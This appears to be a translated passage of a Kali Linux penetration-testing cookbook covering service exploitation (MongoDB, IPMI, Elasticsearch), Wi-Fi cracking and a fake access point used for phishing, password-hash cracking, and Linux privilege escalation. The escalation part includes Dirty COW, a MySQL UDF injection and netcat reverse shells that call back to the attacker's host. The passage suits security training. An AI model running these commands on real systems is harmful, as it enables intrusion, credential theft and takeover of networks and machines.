MongoDB 是一个免费的开源跨平台数据库程序。它使用类似 JSON 的带模式的文档。MongoDB 的默认安全配置允许任何人在未经身份验证的情况下访问数据。在这个教程中，我们将看到如何利用这个漏洞。

准备工作

MongoDB 默认在端口27017上运行。要访问 MongoDB，我们需要下载并安装 MongoDB 客户端。有多个客户端可用；我们将使用 Studio-3T，可以从studio3t.com/.下载。

如何做...

按照以下步骤学习：

1. 安装完成后，我们打开应用程序并选择连接。

2. 在打开的窗口中，我们点击新连接：

1. 然后，我们选择一个名称，在服务器字段中输入 IP 地址，然后单击保存：

1. 接下来，我们只需从列表中选择我们刚刚添加的数据库，然后单击连接。成功连接后，数据库名称将显示在左侧，数据将显示在右侧。

嵌入式设备黑客

智能平台管理接口（IPMI）是一种技术，可以让管理员几乎完全控制远程部署的服务器。

在渗透测试时，IPMI 可能在大多数公司中找到。在这个示例中，我们将看到如何发现 IPMI 设备中的漏洞。

如何做...

要了解 IPMI，请按照给定的步骤进行：

1. 我们启动 Metasploit：

1. 我们使用以下命令搜索与 IPMI 相关的利用：

 search ipmi

以下截图显示了上述命令的输出：

1. 我们将使用IPMI 2.0 RAKP 远程 SHA1 密码哈希检索漏洞；我们选择辅助工具。还有多个利用，例如 CIPHER Zero，也可以尝试：

 use auxiliary/scanner/ipmi/ipmi_dumphashes

1. 接下来，为了查看选项，我们输入以下内容：

 show options

以下截图显示了上述命令的输出：

1. 在这里，我们看到辅助工具自动尝试破解检索到的哈希。

我们设置 RHOSTS 并运行。成功利用后，我们将看到检索和破解的哈希：

Elasticsearch 利用

有时在进行渗透测试时，我们可能还会遇到一些在各种端口号上运行的服务。我们将在这个示例中介绍这样的服务。Elasticsearch 是一个基于 Java 的开源搜索企业引擎。它可以用于实时搜索任何类型的文档。

2015 年，Elasticsearch 出现了一个 RCE 利用漏洞，允许黑客绕过沙箱并执行远程命令。让我们看看如何做到这一点。

如何做...

以下步骤演示了 Elasticsearch 的利用：

1. Elasticsearch 的默认端口是9200。我们启动 Metasploit 控制台：

1. 我们使用以下命令搜索 Elasticsearch 利用漏洞：

 search elasticsearch

以下截图显示了上述命令的输出：

1. 我们在这种情况下选择利用：

 use exploit/multi/elasticsearch/search_groovy_script

以下截图显示了上述命令的输出：

1. 我们使用set RHOST x.x.x.x命令设置 RHOST：

1. 我们运行以下命令：

 run

1. 我们的 meterpreter 会话已准备就绪。

另请参阅

• 探索 msfconsole示例

老牌的 Wireshark

Wireshark 是世界上最常用的网络协议分析器。它是免费和开源的。它主要用于网络故障排除和分析。在这个示例中，您将学习一些关于 Wireshark 的基本知识，以及我们如何使用它来分析网络流量，以找出实际通过我们的网络流动的信息。

准备好

Kali 已经预先安装了该工具，让我们看看如何运行它！

如何做...

以下步骤演示了 Wireshark 的使用：

1. 可以使用Wireshark命令打开 Wireshark：

1. 我们选择要捕获流量的接口：

1. 然后，我们单击开始。显示过滤器用于在捕获网络流量时查看一般的数据包过滤。例如：tcp.port eq 80 如下截图所示：

1. 应用过滤器将仅显示端口80上的流量。如果我们只想查看来自特定 IP 的请求，我们选择该请求，然后右键单击它。

2. 然后，我们导航到“应用为过滤器|已选择”：

1. 然后我们看到过滤器已经应用：

1. 有时，我们可能想要查看两个主机之间在 TCP 级别发生的通信。跟踪 TCP 流是一个功能，它允许我们查看从 A 到 B 和从 B 到 A 的所有流量。让我们尝试使用它。从菜单中，我们选择 Statistics，然后点击 Conversations：

1. 在打开的窗口中，我们切换到 TCP 选项卡。在这里，我们可以看到 IP 列表以及它们之间传输的数据包。要查看 TCP 流，我们选择其中一个 IP，然后点击 Follow Stream：

1. 在这里，我们可以看到通过 TCP 传输的数据：

1. 捕获过滤器用于捕获特定于所应用过滤器的流量；例如，如果我们只想捕获来自特定主机的数据，我们使用主机x.x.x.x。

2. 要应用捕获过滤器，我们点击 Capture Options，在打开的新窗口中，我们将看到一个名为 Capture Options 的字段。在这里，我们可以输入我们的过滤器：

1. 假设我们正在调查网络中对 HeartBleed 的利用。我们可以使用以下捕获过滤器来确定是否已利用 HeartBleed：

 tcp src port 443 and (tcp[((tcp[12] & 0xF0) >> 4 ) * 4] = 0x18)
        and (tcp[((tcp[12] & 0xF0) >> 4 ) * 4 + 1] = 0x03) and
        (tcp[((tcp[12] & 0xF0) >> 4 ) * 4 + 2] < 0x04) and
        ((ip[2:2] - 4 * (ip[0] & 0x0F) - 4 * ((tcp[12] & 0xF0) >> 4) > 69))

还有更多...

以下是一些有用的链接，它们包含了 Wireshark 中所有过滤器的列表。在进行深入的数据包分析时，这些过滤器可能会派上用场：

• wiki.wireshark.org/CaptureFilters

• wiki.wireshark.org/FrontPage

这就是斯巴达！

Sparta 是一个基于 GUI 的 Python 工具，对基础设施进行渗透测试非常有用。它有助于扫描和枚举。我们甚至可以在这里导入 nmap 输出。Sparta 非常易于使用，自动化了许多信息收集工作，并使整个过程更加简单。在这个教程中，您将学习如何使用该工具对网络进行各种扫描。

准备就绪

Kali 已经预先安装了该工具，所以让我们看看如何运行它！

如何做...

要了解有关 Sparta 的更多信息，请按照给定的步骤操作：

1. 我们首先输入Sparta命令：

我们将看到工具打开。

1. 现在我们点击菜单窗格的左侧以添加主机：

1. 在窗口中，我们输入要扫描的 IP 范围。

2. 一旦我们点击 Add to scope，它会自动开始运行 nmap、nikto 等基本过程：

1. 我们可以在左侧窗格上看到发现的主机：

1. 在右侧的 Services 选项卡中，我们将看到开放的端口以及它们正在运行的服务：

1. 切换到 Nikto 选项卡，我们将看到为我们选择的主机显示的 Nikto 输出：

1. 我们还可以看到在主机上运行端口80的页面的屏幕截图：

1. 对于诸如 FTP 之类的服务，它会自动运行诸如 Hydra 之类的工具来暴力破解登录：

1. 在左侧窗格上，切换到 Tools 选项卡，我们可以看到每个主机的输出。

2. 我们还可以通过切换到 Brute 选项卡来执行自定义暴力破解攻击：

1. 要运行完整的端口扫描或独角兽扫描，我们可以右键单击主机。转到 Portscan 菜单，然后选择我们要在主机上运行的扫描类型：

抱歉，我无法识别图片中的文本。

第六章：无线攻击-超越 Aircrack-ng

在本章中，我们将涵盖以下内容：

• 老牌 Aircrack

• 与 Gerix 一起

• 处理 WPAs

• 使用 Ghost Phisher 拥有员工帐户

• Pixie dust 攻击

介绍

如官方网站上所述：

“Aircrack-ng 是一个完整的工具套件，用于评估 Wi-Fi 网络安全性。

它专注于 Wi-Fi 安全的不同领域：

• 监控：数据包捕获和将数据导出到文本文件，以便第三方工具进一步处理

• 攻击：重放攻击，去认证，伪造接入点和其他通过数据包注入

• 测试：检查 Wi-Fi 卡和驱动程序功能（捕获和注入）

• 破解：WEP 和 WPA PSK（WPA 1 和 2）

老牌 Aircrack

Aircrack 是一个用于网络的软件套件，包括网络探测器，数据包嗅探器和 WEP/WPA2 破丨解丨器。它是开源的，专为 802.11 无线局域网设计（有关更多信息，请访问en.wikipedia.org/wiki/IEEE_802.11）。它包括各种工具，如aircrack-ng，airmon-ng，airdecap，aireplay-ng，packetforge-ng等。

在这个示例中，我们将涵盖使用 Aircrack 套件破解无线网络的一些基础知识。您将学习使用airmon-ng，aircrack-ng，airodump-ng等工具来破解我们周围无线网络的密码。

准备就绪

我们需要有一个支持数据包注入的 Wi-Fi 硬件。 Alfa Networks 的 Alfa 卡，TP-Link TL-WN821N 和 EDIMAX EW-7811UTC AC600 是我们可以使用的一些卡。在这个例子中，我们使用 Alfa 卡。

如何做...

以下步骤演示了 Aircrack：

1. 我们输入airmon-ng命令，以检查我们的卡是否被 Kali 检测到：

1. 接下来，我们需要使用以下命令将我们的适配器设置为监视模式：

 airmon-ng start wlan0mon 

以下屏幕截图显示了前面命令的输出：

1. 现在，为了查看附近运行的路由器，我们使用以下命令：

 airodump-ng wlan0mon

以下屏幕截图显示了前面命令的输出：

1. 在这里，我们注意到我们想要破解的网络的BSSID；在我们的例子中，它是B8:C1:A2:07:BC:F1，频道号是9。我们通过按Ctrl + C停止该过程，并保持窗口打开。

2. 现在我们使用airodump-ng捕获数据包，并使用-w开关将这些数据包写入文件：

 airodump-ng -w packets -c 9 --bssid B8:C1:A2:07:BC:F1 wlan0mon

以下屏幕截图显示了前面命令的输出：

1. 现在我们需要观察信标和数据列；这些数字从0开始，并随着数据包在路由器和其他设备之间传递而增加。我们至少需要 20,000 个初始化向量才能成功破解有线等效隐私（WEP）密码：

2. 为了加快进程，我们打开另一个终端窗口并运行aireplay-ng，并使用以下命令执行伪身份验证：

 aireplay-ng -1 0 -e <AP ESSID> -a <AP MAC> -h <OUR MAC> wlan0mon 
       {fake authentication}

以下屏幕截图显示了前面命令的示例：

1. 现在让我们使用以下命令进行 ARP 数据包重放：

 aireplay-ng -3 -b BSSID wlan0mon

以下屏幕截图显示了前面命令的示例：

1. 一旦我们有足够的数据包，我们就开始aircrack-ng，并提供我们保存数据包的文件名：

 aircrack-ng filename.cap

以下屏幕截图显示了前面命令的示例：

1. 一旦破解，我们应该在屏幕上看到密码：

它是如何工作的...

这种攻击的思想是尽可能多地捕获数据包。每个数据包包含一个初始化向量（IV），其大小为 3 个字节，并与之关联。我们只需捕获尽可能多的 IV，然后在其上使用 Aircrack 来获取我们的密码。

与 Gerix 一起

在上一个教程中，您学会了如何使用 Aircrack 套件来破解 WEP。在这个教程中，我们将使用基于 GUI 的工具 Gerix，它使 Aircrack 套件易于使用，并使我们的无线网络审计更加容易。Gerix 是由 J4r3tt 开发的基于 Python 的工具。

准备就绪

让我们使用以下命令安装 Gerix：

git clone https://github.com/J4r3tt/gerix-wifi-cracker-2.git

如何操作...

以下步骤演示了 Gerix 的使用：

1. 下载完成后，我们进入下载的目录并运行以下命令：

 cd gerix-wifi-cracker-2

1. 我们使用以下命令运行工具：

 python gerix.py

上述命令可以在以下截图中看到：

1. 窗口打开后，我们点击“配置”选项卡中的“启用/禁用监视模式”，如下截图所示：

1. 然后，我们点击“重新扫描网络”：

1. 这将显示可用的接入点列表和它们使用的认证类型。我们选择一个带有 WPA 的接入点，然后切换到 WPA 选项卡。

2. 在这里，我们点击“常规功能”，然后点击“开始捕获”：

1. 由于 WPA 攻击需要捕获握手，我们需要一个站点已连接到接入点。因此，我们点击“自动加载受害者客户端”或输入自定义受害者 MAC：

1. 接下来，我们选择去认证号。我们在这里选择0以执行去认证攻击，然后点击“客户端去认证”按钮：

1. 我们应该看到一个弹出窗口，它会为我们执行去认证：

在 airodump 窗口中，我们应该看到已捕获到握手。

1. 现在我们准备破解 WPA，我们切换到 WEP 破解选项卡，在 WPA 暴力破解中，我们给出一个字典的路径，然后点击“Aircrack-ng - 破解 WPA 密码”：

1. 我们应该看到 Aircrack 窗口，当密码被破解时它会显示给我们：

1. 同样，这个工具也可以用来破解 WEP/WPA2 网络。

处理 WPA

Wifite 是一个仅适用于 Linux 的工具，旨在自动化无线审计过程。它需要安装 Aircrack 套件、Reaver、Pyrit 等才能正常运行。它已预装在 Kali 中。在这个教程中，您将学习如何使用 wifite 来破解一些 WPA。

如何操作...

要了解 Wifite，请按照以下步骤操作：

1. 我们可以通过输入以下命令来启动 Wifite：

 wifite

上述命令显示了所有可用网络的列表，如下截图所示：

1. 然后我们按下Ctrl + C来停止；然后它会要求您选择要尝试破解的网络：

1. 我们输入我们的数字并按Enter。工具会自动尝试使用不同的方法来破解网络，最终，如果成功破解，它会显示密码：

我们将看到以下密码：

使用 Ghost Phisher 拥有员工账户

Ghost Phisher 是一个无线网络审计和攻击软件，它创建一个网络的虚假接入点，欺骗受害者连接到它。然后为受害者分配一个 IP 地址。该工具可用于执行各种攻击，如凭据钓鱼和会话劫持。它还可以用于向受害者传递 meterpreter 有效载荷。在这个教程中，您将学习如何使用该工具执行各种网络钓鱼攻击或窃取 cookies 等。

如何操作...

可以在下面看到 Ghost Phisher 的使用：

1. 我们使用ghost-phisher命令启动它：

1. 在这里，我们选择我们的接口并点击“设置监视器”：

1. 现在我们输入我们想要创建的接入点的详细信息：

1. 然后，我们点击“开始”以创建一个新的无线网络并使用该名称。

2. 然后，我们切换到虚假 DNS 服务器。在这里，我们需要提到受害者打开任何网页时将被引导到的 IP 地址：

1. 然后我们启动 DNS 服务器。

2. 然后，我们切换到虚假 DHCP 服务器。在这里，我们需要确保当受害者尝试连接时，他/她会被分配一个 IP 地址：

1. 完成后，我们点击“开始”以启动 DHCP 服务。

2. 如果我们想要钓鱼并捕获凭据，我们可以通过在虚假 HTTP 服务器选项卡中设置选项来将他们引导到我们的钓鱼页面。在这里，我们可以上传我们想要显示的 HTML 页面或提供我们想要克隆的 URL。我们启动服务器：

1. 在下一个选项卡中，我们看到 Ghost Trap；这个功能允许我们执行 Metasploit 有效载荷攻击，它将要求受害者下载我们准备好的 meterpreter 有效载荷，一旦执行，我们将获得一个 meterpreter 连接。

2. 在会话劫持选项卡中，我们可以监听和捕获可能通过网络的会话。我们在这里需要做的就是输入网关或路由器的 IP 地址，然后点击“开始”，它将检测并显示任何捕获的 cookie/会话：

1. 我们在 HTTP 服务器中捕获的凭据可以在收获的凭据选项卡中看到。

Pixie dust 攻击

Wi-Fi Protected Setup（WPS）于 2006 年推出，供希望连接到家庭网络而不必记住 Wi-Fi 的复杂密码的家庭用户使用。它使用八位数的 PIN 来验证客户端到网络的身份。

Pixie dust 攻击是一种暴力破解八位数 PIN 的方法。如果路由器易受攻击，这种攻击可以在几分钟内恢复 PIN。另一方面，简单的暴力破解需要几个小时。在这个教程中，您将学习如何执行 pixie dust 攻击。

可以在docs.google.com/spreadsheets/d/1tSlbqVQ59kGn8hgmwcPTHUECQ3o9YhXR91A_p7Nnj5Y/edit?pref=2&pli=1#gid=2048815923找到攻击将起作用的易受攻击的路由器列表。

准备工作

我们需要启用 WPS 的网络。否则，它将无法工作。

如何做...

要了解 pixie dust，请按照以下步骤：

1. 我们使用以下命令在监视器模式下启动我们的接口：

 airmon-ng start wlan0

1. 然后，我们需要找到启用 WPS 的网络；我们可以使用以下命令来做到这一点：

 wash -i <monitor mode interface> -C

以下截图显示了上述命令的示例：

1. 现在我们使用以下命令运行reaver：

 reaver -i wlan0mon -b [BSSID] -vv -S -c [AP channel]

以下截图显示了上述命令的示例：

1. 完成后，我们应该看到 PIN。

还有更多...

以下是一些可以在攻击无线网络时参考的优秀文章：

• www.hackingtutorials.org/wifi-hacking-tutorials/pixie-dust-attack-wps-in-kali-linux-with-reaver/

• www.kalitutorials.net/2014/04/hack-wpawpa2-wps-reaver-kali-linux.html

第七章：密码攻击-它们的星星中的错误

在本章中，我们将涵盖以下教程：

• 识别野外中的不同类型的哈希！

• 使用哈希标识符

• 使用 patator 破解

• 在线破解哈希

• 与约翰·里波特一起玩

• 约翰尼·布拉沃！

• 使用 cewl

• 使用 crunch 生成单词列表

介绍

弱密码是一个众所周知的情况，大多数公司都会受到影响。很多人使用可以被暴力破解的弱密码，可以获得明文。在本章中，我们将讨论在 webapp/network 上进行渗透测试活动期间获得的密码哈希的不同破解方法。

识别野外中的不同类型的哈希！

哈希是由单向数学算法生成的，这意味着它们无法被反转。打破的唯一方法是暴力破解它们。在这个教程中，您将学习如何识别一些不同类型的哈希。

如何做...

以下是哈希的类型。

MD5

这是最常见的哈希类型。MD 代表消息摘要算法。可以使用以下观察来识别这些哈希：

• 它们是十六进制的

• 它们的长度为 32 个字符，128 位，例如21232f297a57a5a743894a0e4a801fc3

MySQL 小于 v4.1

我们可能在从 SQL 注入中提取数据时遇到这些哈希。可以使用以下观察来识别这些哈希：

• 它们也是十六进制的

• 它们的长度为 16 个字符，64 位，例如606727496645bcba

MD5（WordPress）

这在通过 WordPress 制作的网站上使用。可以使用以下观察来识别这些哈希：

• 它们以$P$开头

• 它们包含字母数字字符

• 它们的长度为 34 个字符，64 位，例如$P$9QGUsR07ob2qNMbmSCRh3Moi6ehJZR

MySQL 5

这在 MySQL 的新版本中用于存储凭据。可以使用以下观察来识别这些哈希：

• 它们全是大写

• 它们总是以星号开头

• 它们的长度为 41 个字符，例如*4ACFE3202A5FF5CF467898FC58AAB1D615029441

Base64 编码

Base64 很容易识别。转换是通过将八个八位字节编码为四个字符来完成的。检查 Base64 的最简单方法如下：

• 验证长度是否为 4 的倍数

• 验证每个字符是否在 A-Z、a-z、0-9、+、/的集合中，除了末尾的填充，它是 0、1 或 2，=字符，例如YW55IGNhcm5hbCBwbGVhc3VyZS4=

还有更多...

这是一篇文章，了解更多关于不同类型的哈希：

www.101hacker.com/2010/12/hashes-and-seeds-know-basics.html

使用哈希标识符

在前面的教程中，您学会了如何识别一些常见的哈希类型。但是还有其他类型的哈希，本教程中，您将学习如何识别我们在渗透测试项目中发现的其他哈希。

如何做...

以下步骤演示了哈希标识符的使用：

1. Kali 预装了一个名为哈希标识符的工具。要启动该工具，我们使用以下命令：

 hash-identifier

以下屏幕截图显示了前面命令的输出：

1. 现在我们只需要在这里粘贴我们找到的哈希，它会显示给我们类型：

使用 patator 破解

有时，我们可能有用户名，但我们想尝试暴力破解密码。Patator 是一个令人惊奇的工具，可以让我们暴力破解多种类型的登录，甚至 ZIP 密码。在本教程中，我们将看到如何使用 patator 执行暴力破解攻击。

如何做...

以下是使用 patator 的步骤：

1. 要查看所有选项，我们使用以下命令：

 patator -h

以下屏幕截图显示了前面命令的输出：

1. 让我们尝试暴力破解 FTP 登录：

 patator ftp_login

以下截图显示了前面命令的输出：

1. 现在我们可以设置host、user文件和password文件并运行模块：

 patator ftp_login host=192.168.36.16 user=ftp password=ftp

以下截图显示了前面命令的输出：

1. 我们可以看到已经获得了访问权限并且模块已停止。

在线破解哈希值

通常在渗透测试中遇到哈希值时，最好在线检查哈希值：它是否已经被破解。在这个教程中，您将了解一些提供哈希值破解服务的很酷的网站。

如何做...

让我们来看看识别不同类型的哈希值。

Hashkiller

以下步骤演示了 Hashkiller 的使用：

1. Hashkiller 是一个很棒的服务，我们可以提交我们的哈希值，如果它在过去已经被破解，它将向我们显示明文：

1. 这个过程很简单；我们只需在网站上选择解密器/破丨解丨器的选项，然后点击我们想要破解的哈希类型：

1. 在打开的页面上，我们粘贴我们的哈希值，填写验证码，然后点击提交：

1. 如果哈希值存在，它将向我们显示明文；否则，我们将看到一条消息，显示未找到任何哈希值！：

Crackstation

Crackstation 是一个免费的服务，支持 MD2、MD5、NTLM 和 SHA1 破解。它使用自己的单词列表和查找表来有效地从数据库中执行哈希的明文搜索：

1. 我们访问网站crackstation.net/：

1. 我们粘贴要破解的哈希值并填写验证码：

1. 如果找到哈希值，我们将看到明文；否则，我们会看到一个消息，说哈希值未找到：

1. Crackstation 还提供其密码列表和查找表的下载链接，如果我们想要使用它来离线使用 hashcat 等工具破解密码，crackstation.net/buy-crackstation-wordlist-password-cracking-dictionary.htm：

OnlineHashCrack

这是一个付费服务，也是我最喜欢的之一。它支持 OSX、MD4、MD5、NTLM、WPA(2)，以及对 Word、Excel、PPT 受保护文档的暴力破解。它提供八个字符的免费密码，之后收取一小费来显示成功破解的密码：

1. 我们访问网站onlinehashcrack.com/：

1. 在这里，我们可以提交我们的哈希值或.apt文件进行破解，并填写我们想要接收通知的电子邮件地址：

1. 在我们的电子邮件中收到的唯一链接上，我们可以看到所有已破解或未在网站上找到的哈希值的状态：

玩弄约翰·里帕

网站和在线服务可能并不总是可用，也有可能这些网站可能没有我们找到的哈希值的明文。在这种情况下，我们可以使用不同的离线工具来破解哈希值。

假设我们现在有哈希值，并且已经确定了它的类型。在这个教程中，我们将看到如何使用约翰·里帕破解哈希值。约翰速度快，支持各种破解模式。它还具有自动检测哈希类型的能力。

如何做...

要了解约翰·里帕，按照给定的步骤进行：

1. 我们可以使用帮助（-h）命令查看完整的功能：

 john -h

以下屏幕截图显示了前面命令的输出：

1. 要破解密码，我们使用以下命令：

 john --format=raw-md5
        --wordlist=/usr/share/wordlists/rockyou.txt /root/demo_hash.txt

1. 我们将看到密码已成功破解！

还有更多...

有关更多信息，您可以参考以下文章：

• pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats

约翰尼·布拉沃！

Johnny 是 John 的 GUI 客户端。由于它添加了一个 UI，因此使用起来更加容易。

如何做...

要了解 Johnny，请按照给定的步骤：

1. 在我们之前的教程中，您已经学会了如何使用 John。我们将使用以下命令启动 Johnny：

 johnny

以下屏幕截图显示了前面命令的输出：

1. 我们通过单击“打开密码文件”选项来加载我们的密码文件。我们的文件已加载：

1. 现在我们转到选项，并选择我们要执行的攻击类型：

1. 我们选择哈希的格式：

1. 完成后，我们点击开始攻击，当密码破解时，我们应该看到我们的密码。

使用 cewl

cewl是一个基于 Ruby 的爬虫，它爬取 URL 并搜索可用于密码攻击的单词。在这个教程中，我们将看看如何利用它。

如何做...

以下是使用cewl的步骤：

1. 要查看cewl的所有选项，我们使用这个命令：

 cewl -h

以下屏幕截图显示了前面命令的输出：

1. 要爬取一个网站，我们使用这个命令：

 cewl -d 2 http://192.168.36.16/forum/

以下屏幕截图显示了前面命令的输出：

1. 我们将看到一个有趣的关键字列表，可以用来制作我们自己的字典密码列表：

使用 crunch 生成单词列表

Crunch 是一个单词列表生成器。它使用排列和组合来生成所提供字符集的所有可能组合。

如何做...

要了解 Crunch，请按照给定的步骤：

1. Crunch 已经预装在 Kali 中，我们可以使用以下命令启动它：

 crunch -h

1. 正如我们所看到的，很容易使用abcdef生成一个最小为两个字符，最大为两个字符的密码列表，我们可以使用以下命令：

 crunch 2 2 abcdef

我们可以看到已经生成了单词列表：

1. 要将其保存到文件中，我们可以使用-o开关。Crunch 还有一个内置列表，其中包含预定义的字符集。它可以在/usr/share/crunch/charset.lst中找到。

2. 要使用字符集，我们使用-f开关：

 crunch 2 2 -f /usr/share/crunch/charset.lst lalpha

以下屏幕截图显示了前面命令的输出：

1. 这将生成一个包含小写字母的最小长度和最大长度为2的列表。Crunch 还有一个-t开关，可以用来创建特定模式的单词列表：

• @: 这将插入小写字符

• ,: 这将插入大写字符

• %: 这将插入数字

• ^: 这将插入符号

1. 开关-b可以用来指定要创建的文件的大小：

1. 让我们尝试创建一个具有特定模式且大小为 1 MB 的列表：

 crunch 10 10 -t @@packt,,% -b 1mib -o START

1. 完成后，我们将看到一个包含相同文件夹中模式的文本文件列表：

1. -z标志可用于创建单词列表并将其保存在压缩文件中。压缩是在进行中完成的：

 crunch 10 10 -t @@packt,,% -b 1mib -o START -z gzip

以下屏幕截图显示了前面命令的输出：

第八章：现在有 Shell 了，怎么办？

在本章中，我们将涵盖以下教程：

• 生成 TTY shell

• 寻找弱点

• 水平升级

• 垂直升级

• 节点跳跃：转向

• Windows 上的特权升级

• PowerSploit

• 使用 mimikatz 提取明文密码

• 从机器中转储其他保存的密码

• 转向

• 为了持久性而给可执行文件加后门

介绍

这是特权升级，正如维基百科所述，特权升级是利用操作系统或软件应用程序中的漏洞、设计缺陷或配置疏忽来获取对通常受到应用程序或用户保护的资源的提升访问权限的行为。这导致对资源的未经授权访问。可能存在两种特权升级：

• 水平：这种情况发生在我们能够执行原本不是为当前用户访问而设计的命令或函数的条件下

• 垂直：这种利用发生在我们能够将我们的特权提升到更高的用户级别时，例如，在系统上获取 root 权限

在本章中，您将学习在 Linux 和 Windows 系统上提升特权的不同方法，以及访问内部网络的方法。

生成 TTY Shell

我们已经涵盖了不同类型的特权升级。现在让我们看一些关于如何在这个系统上获取 TTY shell 的例子。TTY 展示了一个简单的文本输出环境，允许我们输入命令并获取输出。

如何做...

1. 让我们看一个例子，我们有一个运行 zenPHOTO 的 Web 应用程序：

1. zenPHOTO 已经有一个公开的漏洞正在运行，我们通过有限的 shell 获得了对它的访问：

1. 由于这是一个有限的 shell，我们尝试逃离它，并通过首先在系统上上传netcat，然后使用netcat来获取反向连接。

 wget x.x.x.x/netcat –o /tmp/netcat

1. 现在我们可以使用以下命令进行反向连接：

 netcat <our IP > -e /bin/bash <port number>

1. 看着我们的终端窗口，在那里我们设置了监听器，我们会看到一个成功的连接：

 nc –lnvp <port number>

让我们获取一个更稳定的 TTY shell；假设这是一个 Linux 系统，我们已经在上面安装了 Python，并且我们可以使用这个命令获取一个 shell：

python -c 'import pty; pty.spawn("/bin/sh")'

我们现在有了一个更好的执行命令的方式。有时，我们可能会发现自己处于这样一种情况：我们通过 ssh 或其他方法获得的 shell 是一个有限的 shell。

一个非常著名的有限 shell 是lshell，它只允许我们运行一些命令，比如echo、ls、help等。逃离lshell很容易，因为我们只需要输入这个：

echo os.system('/bin/bash')

然后我们就可以访问一个没有更多限制的命令 shell。

还有更多...

还有其他各种方式可以使用 Ruby、Perl 等生成 TTY shell。这可以在netsec.ws/?p=337上看到。

寻找弱点

现在我们有了一个稳定的 shell，我们需要寻找漏洞、错误配置或任何能帮助我们在系统上提升特权的东西。在这个教程中，我们将看一些提升特权以获取系统根目录的方法。

如何做...

我建议大家在服务器上有了 shell 之后，尽可能多地进行枚举：我们知道的越多，我们就有更好的机会在系统上提升特权。

如g0tmi1k所述，提升特权的关键步骤在系统上是：

• 收集：枚举，更多的枚举，还有更多的枚举。

• 过程：整理数据，分析和排序。

• 搜索：知道要搜索什么以及在哪里找到利用代码。

• 适应：自定义漏洞以适应。并非每个漏洞都可以直接在每个系统上使用。

• 尝试：准备好（很多）试错。

我们将看一些在互联网上常见的脚本，这些脚本通过格式化的方式打印出我们需要的任何信息，从而使我们的工作更加轻松。

第一个是LinEnum，这是一个由 reboot 用户创建的 shell 脚本。它执行了 65 多项检查，并显示了我们需要开始的一切：

查看源代码，我们将看到它将显示内核版本、用户信息、可写目录等信息：

我们可以使用的下一个脚本是LinuxPrivChecker。它是用 Python 制作的。这个脚本还建议可以在系统上使用的特权升级漏洞：

这些脚本很容易在 Google 上找到；但是，关于这个或者我们可以使用手动命令自己完成工作的更多信息可以在netsec.ws/?p=309和 G0tmilk 的博客blog.g0tmi1k.com/找到。

另一个很棒的脚本是由Arr0way（twitter.com/Arr0way）创建的。他在他的博客highon.coffee/blog/linux-local-enumeration-script上提供了源代码。我们可以阅读博客上提供的源代码，以检查脚本的所有功能：

水平升级

您已经学会了如何生成 TTY shell 并执行枚举。在这个教程中，我们将看一些可以进行水平升级以获得更多系统特权的方法。

如何做...

在这里，我们有一个情况，我们已经以www-data的身份获得了一个反向 shell。

运行sudo –-list，我们发现用户被允许以另一个用户waldo的身份打开配置文件：

因此，我们在 VI 编辑器中打开配置文件，并在 VI 的命令行中输入以下内容以在 VI 中获取 shell：

!bash

现在我们有一个以用户waldo身份的 shell。所以，我们的升级是成功的。

在某些情况下，我们还可能在ssh目录中找到授权密钥或保存的密码，这有助于我们进行水平升级。

垂直升级

在这个教程中，我们将看一些例子，通过这些例子我们可以访问受损系统上的 root 账户。成功升级的关键是尽可能多地收集有关系统的信息。

如何做...

对任何盒子进行 root 的第一步是检查是否有任何公开可用的本地 root 漏洞：

1. 我们可以使用诸如Linux Exploit Suggester之类的脚本。这是一个用 Perl 构建的脚本，我们可以指定内核版本，它将显示可能公开可用的漏洞利用，我们可以使用它来获得 root 权限。该脚本可以从github.com/PenturaLabs/Linux_Exploit_Suggester下载：

 git clone https://github.com/PenturaLabs/Linux_Exploit_Suggester.git

1. 现在我们使用cd命令进入目录：

 cd Linux_Exploit_Suggester/

1. 它很容易使用，我们可以通过命令找到内核版本：

 uname –a

1. 我们还可以使用我们在上一个教程中看到的枚举脚本。一旦我们有了版本，我们可以使用以下命令将其与我们的脚本一起使用：

 perl Linux_Exploit_Suggester.pl -k 2.6.18

让我们尝试使用其中一个漏洞利用；我们将使用最新的一个，即dirty cow。

这是 RedHat 解释的 dirty cow 的定义：在 Linux 内核的内存子系统处理写时复制（COW）破坏私有只读内存映射的方式中发现了竞争条件。非特权本地用户可以利用这个缺陷来获得对否则只读内存映射的写访问权限，从而增加他们在系统上的权限。

可以在 exploit DB 上看到这个漏洞代码www.exploit-db.com/exploits/40839/。这个特定的漏洞利用程序向etc/passwd添加了一个具有根权限的新用户：

我们下载漏洞并将其保存在服务器的/tmp目录中。它是用 C 语言编写的，所以我们可以使用服务器上的gcc编译它，使用以下命令：

gcc –pthread dirty.c –o <outputname> -lcrypt

我们使用以下命令chmod（更改文件权限）文件：

chmod +x dirty

然后我们使用./dirty运行它。我们将失去我们的反向连接访问权限，但如果一切顺利，我们现在可以使用用户名firefart和密码firefart作为根用户ssh到机器上。

我们使用以下命令尝试ssh：

ssh –l firefart <IP Address>

现在，dirty cow 有点不稳定，但我们可以使用这个解决方法来使其稳定：

echo 0 > /proc/sys/vm/dirty_writeback_centisecs

让我们执行命令 ID；我们将看到我们现在是系统的根用户！

现在让我们看另一种实现根权限的方法。在这种情况下，我们将假设我们在系统上有一个 shell，并且我们运行的枚举脚本向我们显示 MySQL 进程正在作为系统根用户运行。

MySQL 有一个名为用户定义函数（UDF）的功能；让我们看一种通过 UDF 注入获得根权限的方法。现在我们有两个选择：要么在受损系统上下载代码并进行编译，要么从github.com/mysqludf/lib_mysqludf_sys/blob/master/lib_mysqludf_sys.so下载预编译代码。

一旦它被下载，我们就登录到数据库。通常，人们会将默认的 root 密码留空；或者，我们可以从运行在服务器上的 web 应用程序的配置文件中获取一个。

现在，我们创建一个表，并使用这些命令将我们的文件插入到表中：

create table <table name> (hello blob);
insert into <table name> values (load_file('/path/to/mysql.so'));
select * from <table name> into dumpfile '/usr/lib/mysql/plugin/mysqludf.so';

对于 Windows 系统，命令是一样的；只是到 MySQL 的路径会有所不同。

接下来，我们创建一个sys_eval函数，它将允许我们以根用户身份运行系统命令。对于 Windows，我们运行这个命令：

CREATE FUNCTION sys_eval RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';

对于 Linux，我们运行这个命令：

CREATE FUNCTION sys_eval RETURNS integer SONAME 'mysqludf.so;

现在我们可以使用sys_eval来做任何我们想做的事情；例如，要进行反向连接，我们可以使用这个：

select sys_eval('nc –v <our IP our Port> -e /bin/bash');

这将给我们一个作为系统根用户的反向 shell：

